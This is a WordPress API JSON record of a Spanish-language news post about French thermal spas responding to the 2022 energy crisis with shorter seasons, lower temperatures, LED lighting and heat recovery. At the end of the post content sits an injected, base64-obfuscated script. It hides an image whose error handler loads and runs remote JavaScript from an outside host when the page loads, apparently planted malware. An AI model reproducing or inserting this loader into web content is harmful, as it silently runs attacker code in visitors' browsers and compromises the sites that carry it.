{"id":5920,"date":"2022-10-20T10:25:33","date_gmt":"2022-10-20T13:25:33","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=5920"},"modified":"2025-08-13T16:11:24","modified_gmt":"2025-08-13T19:11:24","slug":"crisis-energetica-como-planean-los-spas-lidiar-con-ella","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=5920","title":{"rendered":"Crisis energ\u00e9tica: \u00bfc\u00f3mo planean los spas lidiar con ella?"},"content":{"rendered":"\n<h4 class=\"has-light-green-cyan-background-color has-background wp-block-heading\"><strong><em>Los centros termales franceses tienen la intenci\u00f3n de luchar contra la crisis energ\u00e9tica para garantizar la temporada termal 2023. Esto implica un cambio en las fechas de apertura de los ba\u00f1os termales o la reducci\u00f3n de las temperaturas durante los tratamientos.<\/em><\/strong><\/h4>\n\n\n\n<p>Desde hace varias semanas, Francia, as\u00ed como Europa, han estado atravesando una verdadera\u00a0<strong>crisis energ\u00e9tica<\/strong>. Gas, electricidad, gasolina&#8230; Los precios de la energ\u00eda est\u00e1n subiendo y esto tiene un impacto directo en muchos sectores de actividad, como puede haber sido el caso de las\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/2022\/09\/06\/piscines-fermees-hausse-prix-energie-centres-thermaux\/\" target=\"_blank\" rel=\"noopener\" title=\"\">piscinas municipales<\/a>.<\/p>\n\n\n\n<p>Los\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/etablissements\/\" target=\"_blank\" rel=\"noopener\" title=\"\">113 establecimientos t\u00e9rmicos<\/a>\u00a0en Francia tampoco se salvan del\u00a0<strong>alza de los precios de la energ\u00eda<\/strong>. De hecho, sus sistemas de explotaci\u00f3n de agua termal requieren una cantidad considerable de energ\u00eda. Entonces, \u00bfla crisis energ\u00e9tica tendr\u00e1 un\u00a0<strong>impacto en la temporada t\u00e9rmica de 2023<\/strong>? \u00bfC\u00f3mo planean los ba\u00f1os termales reducir el costo de su factura?<\/p>\n\n\n\n<p>Para responder a estas preguntas, el&nbsp;<strong>Consejo Nacional de Establecimientos T\u00e9rmicos<\/strong>&nbsp;(CNETh) estableci\u00f3, el 6 de octubre, un&nbsp;<strong>plan de sobriedad energ\u00e9tica<\/strong>&nbsp;para el sector, en continuidad con el propuesto por el gobierno. Tambi\u00e9n&nbsp;<strong>entrevistamos a los spas<\/strong>&nbsp;para averiguar qu\u00e9 acciones pretenden tomar para reducir sus facturas de energ\u00eda.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>1.&nbsp;<\/strong><strong>Organice los horarios de atenci\u00f3n de manera diferente<\/strong><\/h2>\n\n\n\n<p>Si bien el plan de sobriedad energ\u00e9tica del gobierno alienta a los spas a&nbsp;<em>\u00ab<strong>optimizar los horarios<\/strong>&nbsp;y las v\u00edas de atenci\u00f3n para limitar [&#8230;] la ventana de apertura diaria de los establecimientos<\/em>\u00ab, la CNETh recomienda en un comunicado de prensa \u00abla recepci\u00f3n de curistas m\u00e1s temprano al final de la temporada&nbsp;<em>y m\u00e1s tarde al comienzo de la temporada<\/em>\u00ab.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Acortando la temporada t\u00e9rmica<\/h3>\n\n\n\n<p>El 6 de octubre, Claude-Eug\u00e8ne Bouvier, Delegado General de CNETh, dijo, durante la presentaci\u00f3n del plan de sobriedad energ\u00e9tica para el sector t\u00e9rmico en Porte de Versailles: \u00ab<em>Operamos de ocho a nueve meses en promedio en el a\u00f1o y creemos que podemos\u00a0<strong>adelantar<\/strong>\u00a0la fecha de cierre una semana en la mayor\u00eda de los spas y\u00a0<strong>retrasar la fecha de apertura de la misma manera<\/strong>. , a fin de ganar una o dos semanas durante per\u00edodos muy intensivos en energ\u00eda<\/em>.\u00bb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.officiel-thermalisme.com\/wp-content\/uploads\/2022\/10\/ODTMAG-ACTU-crise-energetique-calendrier.jpg\" alt=\"\" \/><\/figure>\n\n\n\n<p>Como resultado, el centro termal y el \u00e1rea de bienestar de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/allevard-les-bains\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Allevard-les-Bains<\/a>\u00a0(Is\u00e8re) cerrar\u00e1n, por ejemplo, sus puertas durante los per\u00edodos fr\u00edos, de noviembre a marzo. Este es tambi\u00e9n el caso de las\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/etablissements\/la-bourboule-3\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Grands Thermes de La Bourboule<\/a>\u00a0(Puy-de-D\u00f4me) que cambiar\u00e1n su fecha de apertura \u00ab<em>para reducir la temporada de calefacci\u00f3n<\/em>\u00ab. El centro termol\u00fadico de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/argeles-gazost\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Argel\u00e8s-Gazost (Hautes-Pyr\u00e9n\u00e9es<\/a>) tambi\u00e9n cerrar\u00e1 sus puertas el 5 de noviembre, y no a finales de mes como de costumbre. En el lado de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/cauterets\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Cauterets<\/a>\u00a0(Hautes-Pyr\u00e9n\u00e9es), el centro de termoludismo ahora estar\u00e1 cerrado por la ma\u00f1ana, de lunes a viernes, fuera de las vacaciones escolares.<\/p>\n\n\n\n<p>Los ba\u00f1os termales de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/capvern-les-bains\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Capvern-les-Bains (Altos Pirineos<\/a>) prev\u00e9n, por su parte,\u00a0<strong>reducir su rango de tiempo<\/strong>\u00a0para 2023. El objetivo ser\u00eda abrir el centro termal a partir de las 7:30 o incluso las 8 de la ma\u00f1ana, en lugar de las 7 de la ma\u00f1ana habitualmente.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Optimizaci\u00f3n de los espacios asistenciales<\/h3>\n\n\n\n<p>Algunos spas&nbsp;<strong>ahora centralizan los tratamientos<\/strong>, especialmente cuando la asistencia es menor. Este es el caso del de Allevard-les-Bains que ya no desea&nbsp;<strong>tener unidades medio llenas<\/strong>. Lo mismo ocurre con las Grands Thermes de La Bourboule que desean optimizar sus \u00e1reas de tratamiento de acuerdo con su asistencia.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2.&nbsp;<\/strong><strong>Reducir la temperatura durante el cuidado<\/strong><\/h2>\n\n\n\n<p>Otro elemento presentado por el plan de sobriedad energ\u00e9tica del gobierno se refiere a la temperatura ambiente durante el cuidado. De hecho, este \u00faltimo recomienda\u00a0<strong>reducir este \u00faltimo en 1 \u00b0 C<\/strong>. Por ejemplo, en la parte de fitness, los ba\u00f1os termales de<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/luz-saint-sauveur\/\" target=\"_blank\" rel=\"noopener\" title=\"\">\u00a0Luz-Saint-Sauveur (Hautes-Pyr\u00e9n\u00e9es<\/a>) han reducido la temperatura de su agua en un grado. Lo mismo ocurre con el centro de ocio termal Argel\u00e8s-Gazost, que ha reducido sus tratamientos a base de agua termal en 1\u00b0C.<\/p>\n\n\n\n<p>La reducci\u00f3n de la temperatura tambi\u00e9n concierne a las&nbsp;<strong>\u00e1reas administrativas y t\u00e9cnicas<\/strong>&nbsp;de los ba\u00f1os termales (excluyendo el cuidado), como explica el CNETh en su comunicado de prensa. Con este fin, los ba\u00f1os termales de Allevard-les-Bains planean, por ejemplo, aplicar controles de temperatura&nbsp;<strong>de m\u00e1ximo 19 \u00b0 C<\/strong>&nbsp;en sus oficinas.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.officiel-thermalisme.com\/wp-content\/uploads\/2022\/10\/ODTMAG-ACTU-crise-energetique-temperature.jpg\" alt=\"\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>3.&nbsp;<\/strong><strong>Minimiza la iluminaci\u00f3n en los spas<\/strong><\/h2>\n\n\n\n<p>\u00ab&nbsp;<em>La iluminaci\u00f3n de edificios podr\u00eda ser un foco clave en la reducci\u00f3n de energ\u00eda, a trav\u00e9s de la b\u00fasqueda de&nbsp;<strong>fuentes de menor consumo<\/strong>, la instalaci\u00f3n de aut\u00f3matas (detectores de presencia, etc.).<\/em>&nbsp;\u00ab, menciona el CNETh en su comunicado de prensa sobre su plan de sobriedad energ\u00e9tica.<\/p>\n\n\n\n<p>En este sentido, los ba\u00f1os termales de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/salins-les-bains\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Salins-les-Bains<\/a>\u00a0(Jura) ya han\u00a0<strong>cortado parte de su iluminaci\u00f3n exterior<\/strong>. Los ba\u00f1os termales de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/roche-posay-la\/\" target=\"_blank\" rel=\"noopener\" title=\"\">La Roche-Posay<\/a>\u00a0(Viena) han instalado\u00a0<strong>detectores de movimiento\u00a0<\/strong>en las luminarias en zonas de asistencia reducida. Este es tambi\u00e9n el caso de los ba\u00f1os termales de Luz-Saint-Sauveur en las \u00e1reas de cuidado o ba\u00f1o.<\/p>\n\n\n\n<p>El edificio de los ba\u00f1os termales de La Roche-Posay tambi\u00e9n tiene\u00a0<strong>iluminaci\u00f3n LED<\/strong>\u00a0de bajo consumo, al igual que las\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/bagneres-de-bigorre\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Grands Thermes de Bagn\u00e8res-de-Bigorre (Altos Pirineos<\/a>). El centro termal de La Bourboule planea obras para ahorrar energ\u00eda, incluida la instalaci\u00f3n de\u00a0<strong>1200 m\u00b2 de techo fotovoltaico<\/strong>\u00a0en el edificio de ba\u00f1os termales.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>4.&nbsp;<\/strong><strong>Promover una mejor gesti\u00f3n de los recursos h\u00eddricos<\/strong><\/h2>\n\n\n\n<p>Por \u00faltimo, el plan de sobriedad energ\u00e9tica del Gobierno quiere \u00abacelerar la recuperaci\u00f3n&nbsp;<em>energ\u00e9tica del agua termal, cuando su temperatura de emergencia lo permita, mediante la recuperaci\u00f3n de calor\u00edas [&#8230;] y utilizando agua termal como fuente de calefacci\u00f3n<\/em>\u00ab.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Para calentar agua termal<\/h3>\n\n\n\n<p>En este sentido, un pu\u00f1ado de balnearios han llevado a cabo un importante trabajo para optimizar la\u00a0<strong>gesti\u00f3n de su recurso de agua termal<\/strong>\u00a0y reutilizarlo. Por ejemplo, los ba\u00f1os termales de\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/vals-les-bains\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Vals-les-Bains<\/a>\u00a0(Ard\u00e8che) han instalado una bomba de calor que permite, gracias a un intercambiador, recuperar el calor de las aguas residuales para\u00a0<strong>precalentar el agua termal<\/strong>\u00a0destinada a entrar en el sistema. El establecimiento termal de Salins-les-Bains est\u00e1 llevando a cabo actualmente un estudio para llevar a cabo los mismos pasos.<\/p>\n\n\n\n<p>Este es tambi\u00e9n el caso del\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/etablissements\/dax-les-thermes\/\" target=\"_blank\" rel=\"noopener\" title=\"\">centro termal Les Thermes<\/a>\u00a0en Dax. La instalaci\u00f3n de una unidad de refrigeraci\u00f3n en 2021 permiti\u00f3 a la instalaci\u00f3n reducir su consumo de agua en un 20% y dividir su consumo de gas por 4. De hecho, el calor generado por el funcionamiento del sistema de refrigeraci\u00f3n permite calentar y\u00a0<strong>conservar el calor de la fuente de<\/strong>\u00a0agua termal utilizada para los tratamientos.<\/p>\n\n\n\n<p>La optimizaci\u00f3n del calor tambi\u00e9n es v\u00e1lida para el tratamiento de la ropa en los spas, como es el caso del centro de Cauterets. De hecho, es una estaci\u00f3n muy&nbsp;<strong>intensiva en energ\u00eda<\/strong>&nbsp;y el centro ha establecido un sistema de secador de vapor que se precalienta con agua termal.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.officiel-thermalisme.com\/wp-content\/uploads\/2022\/10\/ODTMAG-ACTU-crise-energetique-soins.jpg\" alt=\"\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Para calentar el establecimiento termal<\/h3>\n\n\n\n<p>Otros balnearios planean explotar el agua termal ya utilizada para alimentar el sistema de calefacci\u00f3n. Los ba\u00f1os termales\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/etablissements\/dax-thermes-borda\/\" target=\"_blank\" rel=\"noopener\" title=\"\">de Borda<\/a>, en\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/stations\/dax\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Dax<\/a>\u00a0(Landas),\u00a0<strong>planean recuperar las calor\u00edas<\/strong>\u00a0del agua termal, que llega directamente a sus redes a 60\u00baC, para\u00a0<strong>calentar el establecimiento<\/strong>.<\/p>\n\n\n\n<p>Este es tambi\u00e9n el caso de los ba\u00f1os termales de La Roche-Posay, como explica Julien Prince, director del centro termal: \u00ab<em>Un sistema para recuperar calor\u00edas del agua termal calentada como parte de los tratamientos permite calentar el edificio, por medio de bombas de calor, mientras se enfr\u00eda el agua termal\u00bb.<\/em>&nbsp;Este \u00faltimo se filtra para regar el campo de golf de La Roche-Posay, ubicado en el campo de captaci\u00f3n.<\/p>\n\n\n\n<p>Los establecimientos termales est\u00e1n considerando otras actuaciones espec\u00edficas, como\u00a0<strong>nuevas obras de aislamiento<\/strong>\u00a0o\u00a0<strong>acciones de sensibilizaci\u00f3n<\/strong>\u00a0entre su personal, para gestionar mejor los efectos de la crisis energ\u00e9tica. El objetivo principal es garantizar la temporada termal 2023, a pesar de que el 25% de los hu\u00e9spedes del spa que ya han reservado su plan de spa\u00a0<a href=\"https:\/\/www.officiel-thermalisme.com\/2022\/10\/10\/sondage-inflation-cure-thermale-hausse-prix\/\" target=\"_blank\" rel=\"noopener\" title=\"\">para ahorrar dinero en el lugar<\/a>.<\/p>\n\n\n\n<p><strong><em>Fuentes<\/em><\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Comunicado de prensa del Consejo Nacional de Balnearios,&nbsp;<em>Plan de sobriedad energ\u00e9tica en establecimientos termales<\/em>, 6 de octubre de 2022<\/li><li>Ministerio de Econom\u00eda, Finanzas y Soberan\u00eda Industrial y Digital, Plan de&nbsp;<a href=\"https:\/\/www.economie.gouv.fr\/files\/files\/2022\/Sobriete_energetique_Charte_Centres_thermaux.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Sobriedad Energ\u00e9tica para Centros Termales<\/em><\/a>, 6 de octubre de 2022<\/li><li>Entrevistas con los ba\u00f1os termales de Allevard-les-Bains, La Bourboule, Dax \u2013 Borda, Dax \u2013 Les thermes, La Roche-Posay, Salins-les-Bains, Vals-les-Bains, ba\u00f1os termales de la&nbsp;<a href=\"https:\/\/www.thermes65.fr\/\" target=\"_blank\" rel=\"noreferrer noopener\">asociaci\u00f3n Therm&#8217;\u00d4 65<\/a>&nbsp;(Argel\u00e8s-Gazost, Bagn\u00e8res-de-Bigorre, Capvern-les-Bains, Cauterets, Luz-Saint-Sauveur), La Cha\u00eene Thermale du Soleil, Valvital Grand-Est.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"https:\/\/www.officiel-thermalisme.com\/2022\/10\/18\/crise-energetique-centres-thermaux-actions\/?utm_source=L%27Officiel+du+Thermalisme&amp;utm_campaign=bc3f2d9eb2-EMAIL_CAMPAIGN_2021_09_30_01_17_COPY_01&amp;utm_medium=email&amp;utm_term=0_4a2750a4c7-bc3f2d9eb2-1357231813\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2022\/09\/Captura-web_28-9-2022_1318_www.officiel-thermalisme.com_.jpeg\" alt=\"\" class=\"wp-image-5850\" width=\"192\" height=\"80\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2022\/09\/Captura-web_28-9-2022_1318_www.officiel-thermalisme.com_.jpeg 363w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2022\/09\/Captura-web_28-9-2022_1318_www.officiel-thermalisme.com_-300x125.jpeg 300w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2022\/09\/Captura-web_28-9-2022_1318_www.officiel-thermalisme.com_-356x151.jpeg 356w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2022\/09\/Captura-web_28-9-2022_1318_www.officiel-thermalisme.com_-320x133.jpeg 320w\" sizes=\"(max-width: 192px) 100vw, 192px\" \/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Los centros termales franceses tienen la intenci\u00f3n de luchar contra la crisis energ\u00e9tica para garantizar la temporada termal 2023. Esto implica un cambio en las fechas de apertura de los ba\u00f1os termales o la reducci\u00f3n de las temperaturas durante los tratamientos. Desde hace varias semanas, Francia, as\u00ed como Europa, han estado atravesando una verdadera\u00a0crisis energ\u00e9tica. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":5921,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29,28],"tags":[],"class_list":["post-5920","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-datos-utiles","category-portales-de-servicios-e-informacion"],"_links":{"self":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5920","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5920"}],"version-history":[{"count":2,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5920\/revisions"}],"predecessor-version":[{"id":10558,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5920\/revisions\/10558"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/media\/5921"}],"wp:attachment":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5920"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5920"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5920"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}